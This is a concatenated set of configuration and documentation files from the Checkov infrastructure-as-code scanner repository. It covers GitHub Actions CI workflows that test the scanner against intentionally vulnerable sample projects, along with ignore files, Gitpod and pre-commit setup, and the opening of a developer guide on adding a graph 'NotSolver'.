secrets.GITHUB_TOKEN }} run: | npm install -g danger danger ci --verbose --failOnErrors cfn-lint: runs-on: ubuntu-latest env: PYTHON_VERSION: "3.9" steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} - name: Get changed CFN test files id: changed-files-specific uses: tj-actions/changed-files@ed68ef82c095e0d48ec87eccea555d944a631a4c # v44 with: files: tests/cloudformation/checks/resource/aws/**/* - name: Filter YAML and JSON files if: steps.changed-files-specific.outputs.any_changed == 'true' id: filter-files run: | YAML_JSON_FILES=$(echo ${{ steps.changed-files-specific.outputs.all_changed_files }} \ | tr ' ' '\n' \ | grep -E '\.ya?ml$|\.json$' \ | grep -v 'sam\.yaml$' \ | tr '\n' ' ') if [ -n "$YAML_JSON_FILES" ]; then echo "YAML_JSON_FILES=$YAML_JSON_FILES" >> "$GITHUB_ENV" fi - name: Install cfn-lint & Lint Cloudformation templates if: env.YAML_JSON_FILES != '' run: | pip install -U cfn-lint for file in $YAML_JSON_FILES; do cfn-lint "$file" -i W done mypy: uses: bridgecrewio/gha-reusable-workflows/.github/workflows/mypy.yaml@main with: python-version: "3.9" unit-tests: strategy: fail-fast: true matrix: python: ["3.9", "3.10", "3.11", "3.12", "3.13"] runs-on: ubuntu-latest timeout-minutes: 30 steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - name: Set up Python ${{ matrix.python }} uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} allow-prereleases: true cache: "pipenv" cache-dependency-path: "Pipfile.lock" - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | if [ "${{ matrix.python }}" = "3.12" ] || [ "${{ matrix.python }}" = "3.13" ]; then # needed for numpy python -m pip install --no-cache-dir --upgrade pipenv==2024.4.0 else python -m pip install --no-cache-dir --upgrade pipenv fi - name: Install dependencies run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} if [ "${{ matrix.python }}" = "3.12" ] || [ "${{ matrix.python }}" = "3.13" ]; then echo "patching >3.12 issues" pipenv run pip install setuptools # needed for numpy pipenv install --skip-lock --dev -v else pipenv install --dev -v fi # list all dependencies to get a better view about installed package versions pipenv run pip list - name: Unit tests env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: pipenv run python -m pytest tests integration-tests: strategy: fail-fast: true matrix: python: ["3.10", "3.11", "3.12", "3.13"] os: [ubuntu-latest, macos-latest, windows-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} allow-prereleases: true cache: "pipenv" cache-dependency-path: "Pipfile.lock" - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e # v4 - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: version: "v3.19.1" # the tests break starting v4 as checkov cannot support it, needs to be investigated token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 if: ${{ runner.os != 'windows' }} with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package shell: bash run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone Terragoat - vulnerable terraform run: git clone https://github.com/bridgecrewio/terragoat - name: Clone Cfngoat - vulnerable cloudformation run: git clone https://github.com/bridgecrewio/cfngoat - name: Clone Kubernetes-goat - vulnerable kubernetes run: git clone https://github.com/madhuakula/kubernetes-goat - name: Clone kustomize-goat - vulnerable kustomize run: git clone https://github.com/bridgecrewio/kustomizegoat - name: Create checkov reports env: LOG_LEVEL: INFO BC_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} run: | # Just making sure the API key tests don't run on PRs bash -c './integration_tests/prepare_data.sh ${{ matrix.os }} 3.9' - name: Run integration tests run: | pipenv run pytest integration_tests -k 'not api_key' integration-tests-old-python: strategy: fail-fast: true matrix: python: ["3.9"] os: [ubuntu-latest, windows-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} allow-prereleases: true cache: "pipenv" cache-dependency-path: "Pipfile.lock" - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e # v4 - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: version: "v3.19.1" token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 if: ${{ runner.os != 'windows' }} with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package shell: bash run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone Terragoat - vulnerable terraform run: git clone https://github.com/bridgecrewio/terragoat - name: Clone Cfngoat - vulnerable cloudformation run: git clone https://github.com/bridgecrewio/cfngoat - name: Clone Kubernetes-goat - vulnerable kubernetes run: git clone https://github.com/madhuakula/kubernetes-goat - name: Clone kustomize-goat - vulnerable kustomize run: git clone https://github.com/bridgecrewio/kustomizegoat - name: Create checkov reports env: LOG_LEVEL: INFO BC_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} run: | # Just making sure the API key tests don't run on PRs bash -c './integration_tests/prepare_data.sh ${{ matrix.os }} 3.9' - name: Run integration tests run: | pipenv run pytest integration_tests -k 'not api_key' sast-integration-tests: strategy: fail-fast: true matrix: python: ["3.12", "3.13"] os: [ubuntu-latest, macos-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} allow-prereleases: true cache: "pipenv" cache-dependency-path: "Pipfile.lock" - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone flask - Python repo for SAST run: git clone https://github.com/pallets/flask - name: Clone WebGoat - Java repo for SAST run: git clone https://github.com/WebGoat/WebGoat - name: Clone axios - JavaScript repo for SAST run: git clone https://github.com/axios/axios - name: Create checkov reports env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} if: env.BC_API_KEY != null run: bash -c './sast_integration_tests/prepare_data.sh' - name: Run integration tests env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} if: env.BC_API_KEY != null run: | pipenv run pytest sast_integration_tests sast-integration-tests-old-python: strategy: fail-fast: true matrix: python: ["3.9"] os: [ubuntu-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} allow-prereleases: true cache: "pipenv" cache-dependency-path: "Pipfile.lock" - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone flask - Python repo for SAST run: git clone https://github.com/pallets/flask - name: Clone WebGoat - Java repo for SAST run: git clone https://github.com/WebGoat/WebGoat - name: Clone axios - JavaScript repo for SAST run: git clone https://github.com/axios/axios - name: Create checkov reports env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} if: env.BC_API_KEY != null run: bash -c './sast_integration_tests/prepare_data.sh' - name: Run integration tests env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} if: env.BC_API_KEY != null run: | pipenv run pytest sast_integration_tests cdk-integration-tests: strategy: fail-fast: true matrix: python: ["3.12", "3.13"] os: [ubuntu-latest, macos-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} allow-prereleases: true cache: "pipenv" cache-dependency-path: "Pipfile.lock" - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Create checkov reports env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} if: env.BC_API_KEY != null run: bash -c './cdk_integration_tests/prepare_data.sh' - name: Run integration tests env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} if: env.BC_API_KEY != null run: | pipenv run pytest cdk_integration_tests cdk-integration-tests-old-python: strategy: fail-fast: true matrix: python: ["3.9"] os: [ubuntu-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ matrix.python }} allow-prereleases: true cache: "pipenv" cache-dependency-path: "Pipfile.lock" - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ matrix.python }} pipenv run pip install pytest pytest-xdist setuptools wheel pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Create checkov reports env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} if: env.BC_API_KEY != null run: bash -c './cdk_integration_tests/prepare_data.sh' - name: Run integration tests env: LOG_LEVEL: INFO BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }} PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }} if: env.BC_API_KEY != null run: | pipenv run pytest cdk_integration_tests performance-tests: env: PYTHON_VERSION: "3.9" working-directory: ./performance_tests runs-on: [self-hosted, public, linux, x64] steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} cache: "pipenv" cache-dependency-path: "Pipfile.lock" - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e # v4 - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ env.PYTHON_VERSION }} # 'py' package is used in 'pytest-benchmark', but 'pytest' removed it in their latest version pipenv run pip install pytest pytest-benchmark py pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Clone terraform-aws-components run: git clone --branch 0.182.0 https://github.com/cloudposse/terraform-aws-components.git working-directory: ${{ env.working-directory }} - name: Clone aws-cloudformation-templates run: git clone --branch 0.0.1 https://github.com/awslabs/aws-cloudformation-templates.git working-directory: ${{ env.working-directory }} - name: Clone kubernetes-yaml-templates run: git clone https://github.com/dennyzhang/kubernetes-yaml-templates.git working-directory: ${{ env.working-directory }} # TODO: migrate to separate performance tests # - name: Clone Python-Mini-Projects # run: git clone https://github.com/alimoustafa2000/Python-Mini-Projects.git # working-directory: ${{ env.working-directory }} # - name: Clone NodeJs # run: git clone https://github.com/harshitbansal373/NodeJs.git # working-directory: ${{ env.working-directory }} # - name: Clone Mini-Project-using-Java # run: git clone https://github.com/ikanurfitriani/Mini-Project-using-Java.git # working-directory: ${{ env.working-directory }} - name: Run performance tests run: | pipenv run pytest working-directory: ${{ env.working-directory }} dogfood-tests: runs-on: ubuntu-latest env: PYTHON_VERSION: "3.9" WORKING_DIRECTORY: ./dogfood_tests steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f # v4 with: python-version: ${{ env.PYTHON_VERSION }} cache: "pipenv" cache-dependency-path: "Pipfile.lock" - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78 # v3 with: token: ${{ secrets.GITHUB_TOKEN }} - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1 # v2 with: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Install pipenv run: | python -m pip install --no-cache-dir --upgrade pipenv - name: Build & install checkov package run: | # remove venv, if exists pipenv --rm || true pipenv --python ${{ env.PYTHON_VERSION }} pipenv run pip install pytest pytest-xdist pipenv run python setup.py sdist bdist_wheel bash -c 'pipenv run pip install dist/checkov-*.whl' - name: Run dogfood tests run: | pipenv run pytest working-directory: ${{ env.WORKING_DIRECTORY }} eval-keys-test: runs-on: ubuntu-latest steps: - name: Check out repository uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 - name: Get changed Python files id: changed-files uses: tj-actions/changed-files@ed68ef82c095e0d48ec87eccea555d944a631a4c # v44 with: files: checkov/**/*.py - name: Validate 'BaseResourceCheck' use contains eval keys if: steps.changed-files.outputs.any_changed == 'true' run: | # Define an array of exceptions (files to skip) EXCEPTIONS=( "base_resource_check.py" "VPCDefaultNetwork.py" "IAMUserNotUsedForAccess.py" # Whole Resource type check ) echo "Changed files:" echo "${{ steps.changed-files.outputs.all_changed_files }}" EXIT_CODE=0 IFS=$'\n' # Change Internal Field Separator to handle spaces in filenames too for file in $(echo "${{ steps.changed-files.outputs.all_changed_files }}" | tr ',' '\n'); do # Check if the file is in the list of exceptions SKIP_FILE="false" for exception in "${EXCEPTIONS[@]}"; do # If the file ends with one of the exception file names, skip it if [[ "$file" == *"$exception" ]]; then echo "Skipping $file (allowed exception)" SKIP_FILE="true" break fi done # Only run checks if not in exceptions list if [[ "$SKIP_FILE" == "false" ]]; then # If file contains 'BaseResourceCheck', check for 'get_inspected_key' or 'evaluated_keys' if grep -q "BaseResourceCheck" "$file"; then if ! grep -q "get_inspected_key" "$file" && ! grep -q "evaluated_keys" "$file"; then echo "ERROR: $file has BaseResourceCheck but does NOT contain 'get_inspected_key' or 'evaluated_keys'" EXIT_CODE=1 fi fi fi done unset IFS # Restore IFS to default # Fail the job if any file violated the rule if [ "$EXIT_CODE" -ne 0 ]; then echo "One or more files did not satisfy the requirement." exit 1 fi ================================================ FILE: .github/workflows/pr-title.yml ================================================ name: PR Title on: pull_request: branches: - main types: [opened, edited, reopened, synchronize] permissions: contents: read jobs: validate: runs-on: [self-hosted, public, linux, x64] permissions: contents: write steps: - uses: thehanimo/pr-title-checker@7fbfe05602bdd86f926d3fb3bccb6f3aed43bc70 # v1 with: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} configuration_path: ".github/pr-title-checker-config.json" ================================================ FILE: .github/workflows/security-shared.yml ================================================ # !!! Important !!! # This a reusable workflow and is used in the PR and push to main branch flow separately # to be able to protect it behind a manual approval in the PR flow name: security-shared on: workflow_call: permissions: contents: read jobs: bandit: runs-on: [self-hosted, public, linux, x64] steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: ref: ${{ github.event.pull_request.head.sha }} - name: security test uses: jpetrucciani/bandit-check@74c5ecc4297e374c7e9283bc81f649287bb14f34 # v1 with: path: 'checkov' trufflehog-secrets: runs-on: [self-hosted, public, linux, x64] steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: ref: ${{ github.event.pull_request.head.sha }} - name: detect secrets uses: edplato/trufflehog-actions-scan@0af17d9dd1410283f740eb76b0b8f6b696cadefc # v0.9 with: scanArguments: "--regex --entropy=False --exclude_paths .github/exclude-patterns.txt --max_depth=1" checkov-secrets: runs-on: [self-hosted, public, linux, x64] steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v3 with: ref: ${{ github.event.pull_request.head.sha }} - name: Scan for secrets uses: bridgecrewio/checkov-action@master # use latest and greatest with: api-key: ${{ secrets.PRISMA_KEY_API2 }} prisma-api-url: ${{ secrets.PRISMA_API_URL_2 }} config_file: .github/checkov.yaml ================================================ FILE: .github/workflows/security.yml ================================================ # !!! Important !!! # any change to this workflow will not take into effect on the same PR and only after, # because of security implications from target 'pull_request_target' name: security on: pull_request_target: # this is needed to use the API key in a PR branches: - main permissions: contents: read jobs: start-security-scan: runs-on: ubuntu-latest environment: scan-security steps: - run: echo start security scan # just needs a simple step to better control the follow-up jobs security: needs: start-security-scan uses: ./.github/workflows/security-shared.yml secrets: inherit ================================================ FILE: .gitignore ================================================ # Created by .ignore support plugin (hsz.mobi) ### Python template # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class *__pycache__/ # Python tests residuals tests/sca_package_2/examples/obj* # Terraform *.tfstate* *.terraform* *.tfbackend # git *.orig # C extensions *.so # Distribution / packaging .Python env/ build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ .vscode/ *.egg-info/ .installed.cfg *.egg .DS_Store # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *,cover .hypothesis/ .external_modules/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder target/ # IPython Notebook .ipynb_checkpoints # pyenv .python-version # celery beat schedule file celerybeat-schedule # dotenv .env # virtualenv venv/ ENV/ # Spyder project settings .spyderproject # Rope project settings .ropeproject ### VirtualEnv template # Virtualenv # http://iamzed.com/2009/05/07/a-primer-on-virtualenv/ [Ii]nclude [Ll]ib [Ll]ib64 [Ll]ocal [Ss]cripts pyvenv.cfg .venv pip-selfcheck.json ### JetBrains template # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 # User-specific stuff: .idea/workspace.xml .idea/tasks.xml .idea/dictionaries .idea/vcs.xml .idea/jsLibraryMappings.xml # Sensitive or high-churn files: .idea/dataSources.ids .idea/dataSources.xml .idea/dataSources.local.xml .idea/sqlDataSources.xml .idea/dynamic.xml .idea/uiDesigner.xml # Gradle: .idea/gradle.xml .idea/libraries # Mongo Explorer plugin: .idea/mongoSettings.xml .idea/ ## File-based project format: *.iws ## Plugin-specific files: # IntelliJ /out/ # mpeltonen/sbt-idea plugin .idea_modules/ # JIRA plugin atlassian-ide-plugin.xml # Crashlytics plugin (for Android Studio and IntelliJ) com_crashlytics_export_strings.xml crashlytics.properties crashlytics-build.properties fabric.properties # Checkov baseline file .checkov.baseline # pytest-benchmarks output directory .benchmarks/ # test assets that get created locally (20* refers to the start of a date, so this covers us for 78 years) tests/20* # vim .*.sw? .vim/ .vimspector.json !tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/modules/instance tests/common/runner_registry/packages_csv_results/ tests/console # sast go mod checkov/sast_core/vendor *.prof ================================================ FILE: .gitmodules ================================================ [submodule "checkov/sast/sast_core"] path = checkov/sast/sast_core url = git@github.com:bridgecrewio/SAST-Core.git ================================================ FILE: .gitpod.Dockerfile ================================================ FROM gitpod/workspace-python RUN pyenv install 3.10.14 RUN wget -q -O get_kustomize.sh https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh; \ chmod 700 get_kustomize.sh; \ mkdir -p /usr/local/bin; \ sudo sh -c './get_kustomize.sh 4.5.2 /usr/local/bin'; \ rm ./get_kustomize.sh ================================================ FILE: .gitpod.yml ================================================ # This configuration file was automatically generated by Gitpod. # Please adjust to your needs (see https://www.gitpod.io/docs/config-gitpod-file) # and commit this file to your remote git repository to share the goodness with others. tasks: - name: Pipenv Environment And Dev init: | pipenv sync --dev pipenv run python -m coverage run -m pytest tests image: file: .gitpod.Dockerfile github: prebuilds: # enable for the master/default branch (defaults to true) master: true # enable for all branches in this repo (defaults to false) branches: true # enable for pull requests coming from this repo (defaults to true) pullRequests: true # enable for pull requests coming from forks (defaults to false) pullRequestsFromForks: true # add a "Review in Gitpod" button as a comment to pull requests (defaults to true) addComment: true # add a "Review in Gitpod" button to pull requests (defaults to false) addBadge: false # add a label once the prebuild is ready to pull requests (defaults to false) addLabel: prebuilt-in-gitpod ================================================ FILE: .pre-commit-config.yaml ================================================ repos: - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.5.0 hooks: - id: debug-statements - repo: https://github.com/PyCQA/flake8 rev: 6.1.0 hooks: - id: flake8 language_version: python3.9 additional_dependencies: - dlint - flake8-bugbear - flake8-type-checking - repo: https://github.com/isidentical/teyit # unit test formatter rev: 0.4.3 hooks: - id: teyit language_version: python3.9 - repo: https://github.com/rhysd/actionlint rev: v1.6.26 hooks: - id: actionlint-docker # SC2129 - Consider using { cmd1; cmd2; } >> file instead of individual redirects. args: ["-ignore", "SC2129"] - repo: https://github.com/Madoshakalaka/pipenv-setup # Pipfile to setup.py sync checker rev: v3.2.0 hooks: - id: pipenv-setup language_version: python3.9 entry: pipenv-setup check args: [] additional_dependencies: - vistir<0.7.0 # can be removed, when v4.0.0 of pipenv-setup comes out - plette<1.0.0 # Solve issue of import error for plette.models - repo: https://github.com/seddonym/import-linter # checks the import dependencies between each other rev: v1.12.1 hooks: - id: import-linter language_version: python3.9 args: ["--show-timings"] ================================================ FILE: .pre-commit-hooks.yaml ================================================ --- # For use with pre-commit. # See usage instructions at http://pre-commit.com - id: checkov name: Checkov description: This hook runs checkov. entry: checkov -d . language: python pass_filenames: false always_run: false files: \.tf$ exclude: \.+.terraform\/.*$ require_serial: true - id: checkov_container name: Checkov description: This hook runs checkov. entry: --tty bridgecrew/checkov:latest -d . args: [] language: docker_image pass_filenames: false always_run: false files: \.tf$ exclude: \.+.terraform\/.*$ require_serial: true - id: checkov_diff name: Checkov Diff description: This hook runs checkov against all changed files. entry: checkov --enable-secret-scan-all-files args: ["-f"] # required and must come last language: python require_serial: true - id: checkov_diff_container name: Checkov Diff description: This hook runs checkov against all changed files. entry: --tty bridgecrew/checkov:latest --enable-secret-scan-all-files args: ["-f"] # required and must come last language: docker_image require_serial: true - id: checkov_secrets name: Checkov Secrets description: This hook looks for secrets with checkov. entry: checkov --framework secrets --enable-secret-scan-all-files args: ["-f"] # required and must come last language: python always_run: true require_serial: true - id: checkov_secrets_container name: Checkov Secrets description: This hook looks for secrets with checkov. entry: --tty bridgecrew/checkov:latest --framework secrets --enable-secret-scan-all-files args: ["-f"] # required and must come last language: docker_image always_run: true require_serial: true ================================================ FILE: .swm/creating-a-solver.gm0ti.sw.md ================================================ --- id: gm0ti name: Creating a Solver file_version: 1.0.2 app_version: 0.9.4-0 file_blobs: checkov/common/checks_infra/solvers/complex_solvers/not_solver.py: 60e9301de2a35a51b0464babaf537104d82cf00a checkov/common/checks_infra/checks_parser.py: 50130edc6639275b43dbd287572972b826eee687 checkov/common/checks_infra/solvers/complex_solvers/__init__.py: 2e25b8e1f51406fe5e2995019eb6046fdf3650f2 checkov/common/graph/checks_infra/solvers/base_solver.py: e84d471f6fc2e8ef12d82fa061784c57a7915d5c checkov/common/checks_infra/solvers/complex_solvers/base_complex_solver.py: 186dd8805259132d32936fafc19c389d452869c4 checkov/common/checks_infra/solvers/connections_solvers/or_connection_solver.py: 38df2db8112768f7ee10facc3feac82b84affc32 checkov/common/checks_infra/solvers/attribute_solvers/any_attribute_solver.py: 5aa38478ce1174ea46d2cff94ec52358e8595369 checkov/common/checks_infra/solvers/attribute_solvers/not_contains_attribute_solver.py: 0d44d643a7ba2f1fc78fa86ad53b46c47e546ee1 checkov/common/checks_infra/solvers/attribute_solvers/not_ending_with_attribute_solver.py: 334cc79488dc5f5f52e3d66ef9b24e3ad89f1e99 --- A Solver is a major component in our system. This document will describe what it is and how to add a new one. A Solver is a graph operator that impelements a certain piece of logic, such as AttributeEquals, GreaterThan, Exists and more. There are also more complext solvers such as the `And` solver which implement logic between two or more solvers When we add a new Solver, we create a class that inherits from `BaseSolver`[↓](#f-2wxET6). Some examples of `BaseSolver`[↓](#f-2wxET6)s are `OrConnectionSolver`[↓](#f-Z1oapTp), `AnyResourceSolver`[↓](#f-Z7ghIg), `NotContainsAttributeSolver`[↓](#f-Z136myH), and `NotEndingWithAttributeSolver`[↓](#f-923Qq). Note: some of these examples inherit indirectly from `BaseSolver`[↓](#f-2wxET6). > **NOTE: Inherit from** `BaseComplexSolver`[↓](#f-10523X) > > Most `BaseSolver`[↓](#f-2wxET6)s inherit directly from `BaseComplexSolver`[↓](#f-10523X) and almost none inherit directly from `BaseSolver`[↓](#f-2wxET6). In this document we demonstrate inheriting from `BaseComplexSolver`[↓](#f-10523X). ## TL;DR - How to Add a `BaseComplexSolver`[↓](#f-10523X) 1. Create a new class inheriting from `BaseComplexSolver`[↓](#f-10523X)  * Place the file under `📄 checkov/common/checks_infra/solvers/complex_solvers`, e.g. `NotSolver`[↓](#f-Z2wW09R) is defined in `📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py`. 2. Define `operator`[↓](#f-Z1HozjT). 3. Implement `__init__`[↓](#f-ZDc3b7), `_get_operation`[↓](#f-Z1IWbj3), and `get_operation`[↓](#f-I3t5K). 4. Update `📄 checkov/common/checks_infra/checks_parser.py`. 5. Update `📄 checkov/common/checks_infra/solvers/complex_solvers/__init__.py`. 6. **Profit** 💰 ## Example Walkthrough - `NotSolver`[↓](#f-Z2wW09R) We'll follow the implementation of `NotSolver`[↓](#f-Z2wW09R) for this example. A `NotSolver`[↓](#f-Z2wW09R) is a solver that inverts the logic of the solvers within it ## Steps to Adding a new `BaseComplexSolver`[↓](#f-10523X) ### 1\. Inherit from `BaseComplexSolver`[↓](#f-10523X). All `BaseComplexSolver`[↓](#f-10523X)s are defined in files under `📄 checkov/common/checks_infra/solvers/complex_solvers`.
We first need to define our class in the relevant file, and inherit from `BaseComplexSolver`[↓](#f-10523X): ### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py ```python ⬜ 5 from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver ⬜ 6 ⬜ 7 🟩 8 class NotSolver(BaseComplexSolver): ⬜ 9 operator = Operators.NOT # noqa: CCE003 # a static attribute ⬜ 10 ⬜ 11 def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None: ```
> **Note**: the class name should end with "Solver". ### 2\. Define `operator`[↓](#f-Z1HozjT) `BaseSolver`[↓](#f-2wxET6)s should define this variable: * `operator`[↓](#f-Z1HozjT)
### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py ```python ⬜ 6 ⬜ 7 ⬜ 8 class NotSolver(BaseComplexSolver): 🟩 9 operator = Operators.NOT # noqa: CCE003 # a static attribute ⬜ 10 ⬜ 11 def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None: ⬜ 12 if len(solvers) != 1: ```
### 3\. Implement `__init__`[↓](#f-ZDc3b7), `_get_operation`[↓](#f-Z1IWbj3), and `get_operation`[↓](#f-I3t5K) Here is how we do it for `NotSolver`[↓](#f-Z2wW09R): Implement `__init__`[↓](#f-ZDc3b7).
